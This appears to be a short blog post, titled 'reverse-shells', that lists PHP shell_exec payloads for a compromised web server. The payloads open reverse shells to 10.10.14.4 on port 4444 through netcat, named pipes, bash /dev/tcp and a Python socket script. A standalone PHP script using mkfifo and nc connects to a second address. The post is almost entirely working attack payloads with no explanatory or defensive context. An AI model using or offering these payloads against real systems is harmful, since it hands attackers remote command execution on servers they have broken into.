reverse-shells

Quick list of reverse shells that may or may not work..



<?php echo shell_exec('whoami'); ?>

<?php echo shell_exec('nc -nv 10.10.14.4 4444 -e /bin/csh'); ?>


<?php echo shell_exec('/bin/sh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe'); ?>
<?php echo shell_exec('/bin/csh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe'); ?>

<?php echo shell_exec('/bin/sh -c "/bin/sh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe"'); ?>
<?php echo shell_exec('/bin/csh -c "/bin/csh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe"'); ?>

<?php echo shell_exec('bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'); ?>


<?php echo shell_exec("/usr/local/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"); ?>


As a script file
#!/usr/bin/env php
<?php
echo `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 8888 >/tmp/f`;
?>


No comments:

Post a Comment